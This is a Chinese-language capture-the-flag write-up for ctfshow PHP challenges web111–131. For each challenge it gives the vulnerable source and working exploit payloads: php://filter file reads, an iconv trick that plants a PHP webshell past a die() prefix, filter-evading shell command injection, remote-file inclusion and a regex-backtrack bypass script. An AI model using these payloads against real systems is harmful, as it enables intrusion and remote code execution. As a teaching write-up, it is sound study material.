CTFSHOWPHP特性篇(中篇 111-131)

it2023-04-09  65

web111

function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } }

考察点:php超全局变量$GLOBALS的使用

介绍

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

举个例子

$a=123; $b=456; var_dump($GLOBALS);

返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。

["a"]=> int(123) ["b"]=> int(456)

所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出. payload: ?v1=ctfshow&v2=GLOBALS

web112

function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }

考察点:php伪协议绕过is_file+highlight_file对于php伪协议的使用

函数介绍

is_file — 判断给定文件名是否为一个正常的文件 is_file ( string $filename ) : bool

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。 可以直接用不带任何过滤器的filter伪协议 payload:file=php://filter/resource=flag.php 也可以用一些没有过滤掉的编码方式和转换方式 payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php file=compress.zlib://flag.php payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php 还有一些其他的,可以参考php文档

113

112中提到的 comporess.zlib//flag.php可以过 当然这不是预期解 预期解payload:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容 多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。

114

留了个filter就不多说了。 payload:file=php://filter/resource=flag.php

115

function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }

考察点:trim函数的绕过+is_numeric绕过

函数介绍

语法 trim(string,charlist) 参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符: "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格

做个简单的小测试

for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }

除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20 再来看看 trim+is_numeric

for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }

发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。 payload:num=%0c36

web116

下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。 是一个文件包含。 如下图所示 过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。 payload:file=flag.php

web117

function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);

考察点:绕过死亡die 题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的 更多编码方式 这是取一个 UCS-2LE UCS-2BE

payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?

这种是将字符两位两位进行交换 大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?'); 输出如下,使得die失效,并且我们的一句话木马可以使用 ?<hp pid(e;)>?<?php eval($_POST[1]);?>

web118-122

该部分题目是我在月饼杯web3的基础上不断增加过滤演变而成的。属于命令执行部分,因为顺序的原因我们就在此进行讲解了。

118 在原来过滤的基础上增加了数字的过滤。 linux中存在的大量的内置变量 具体的可参考其他师傅写的文章

月饼杯web3 payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php 所有我们现在想到简易一点的方法就是得到一个n一个l 发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l 在linux中可以用~获取变量的最后几位

而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}

payload: code=${PATH:~A}${PWD:~A} ????.???

119、120 在118的基础上增加了 PATH、BASH、HOME的过滤

这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php /???4 ???.??? 如果可以构造出来/和4不就可以了吗 在linux中可以用 ${#var}显示var变量的长度

只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了 我们发现${#RANDOM}可以实现 数字1可以用$SHIVL

payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

121

if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } }

在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM 所以我们只需研究上一个payload的替换值即可。 过滤了SHLVL,这时可以考虑用 $?替代

$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

其他的不需要改变 payload: code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

122 增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。 这时候就需要强大的$?了

$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

在本机测试发现使用${}这样是可以获得数字1的,但是在题目环境中发现返回的是2,无奈之下放开了<的过滤(小于号)

出现4的几率虽然小,但是是有可能的,不断刷新即可 payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web123、web125、web126

$a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ if($fl0g==="flag_give_me"){ echo $flag; } } }

第一个难搞的地方isset($_POST['CTF_SHOW.COM'])因为php变量命名是不允许使用点号的 可以测试一下

<?php var_dump($_POST); 输入 CTF_SHOW.COM=1 返回 array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }

那么既然题目是可以有方法通过的,我们就来个暴力的方式 下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0

<?php function curl($url,$data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); curl_close($ch); return strlen($response); } $url="http://127.0.0.1/test.php"; for ($i=0; $i <=128 ; $i++) { for ($j=0; $j <=128 ; $j++) { $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123"; if(curl($url,$data)!=0){ echo $data."\n"; } } }

其中test.php中的内容

<?php if(isset($_POST['CTF_SHOW.COM'])){ echo 123; }

输出结果 CTF%5BSHOW.COM=123 具体的原理尚不清楚 另外一个知识点

1、cli模式(命令行)下 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数 2、web网页模式下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] $argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING'] 这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。

payload: get: $fl0g=flag_give_me; post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

再来几个非预期

post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以

问了下出题人,这个题的预期解是

get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

我自己本地测试了下

<?php $a=$_SERVER['argv']; var_dump($a); 传入 a=1+fl0g=flag_give_me 结果如下 array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

有大佬啃了下php的c源码总结如下

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。

124

这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。 我们来看下具体的函数

base_convert(number,frombase,tobase); 参数 描述 number 必需。规定要转换的数。 frombase 必需。规定数字原来的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 tobase 必需。规定要转换的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 bindec — 二进制转换为十进制 bindec ( string $binary_string ) : number decbin — 十进制转换为二进制 decbin ( int $number ) : string dechex — 十进制转换为十六进制 dechex ( int $number ) : string decoct — 十进制转换为八进制 decoct ( int $number ) : string hexdec — 十六进制转换为十进制 hexdec ( int $number ) : string

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。 假设我们要构造出如下表达式 c=$_GET[a]($_GET[b])&a=system&b=cat flag 我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。 那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。 我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

echo base_convert('hex2bin', 36, 10); 结果 37907361743 echo hexdec(bin2hex("_GET")); 结果 1598506324

现在我们要做的就是反过来了

base_convert('37907361743',10,36); hex2bin base_convert('37907361743',10,36)(dechex('1598506324')); _GET c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

127

考点有点和123重复 跑了一下0-128

<?php function curl($url){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); return strlen($result); } for ($i=0; $i < 128; $i++) { $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1"; if(curl($url)!==0){ echo urlencode(chr($i))."\n"; } }

flag.php

<?php if(isset($_GET['ctf_show'])){ echo 123; }

发现以下字符等同于ctf_show

+ _ [ . + 这里的加号在url中起到空格的作用

除去他过滤掉的 _ . [ 我们发现我们还可以用空格实现

payload:ctf show=ilove36d

128

$f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }

考察点:gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()

<?php echo gettext("phpinfo"); 结果 phpinfo echo _("phpinfo"); 结果 phpinfo

所以 call_user_func('_','phpinfo') 返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:f1=_&f2=get_defined_vars

129

if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }

函数介绍

stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。 例如 f=http://url/xxx.txt?ctfshow 其中xxx.txt为一句话

要是没有服务器的话,我们也可以用php伪协议绕过

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php filter伪协议支持多种编码方式,无效的就被忽略掉了。

130、131

include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。 python脚本如下

import requests url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/" data={ 'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data) print(r.text)

非预期解

利用数组 f[]=ctfshow
最新回复(0)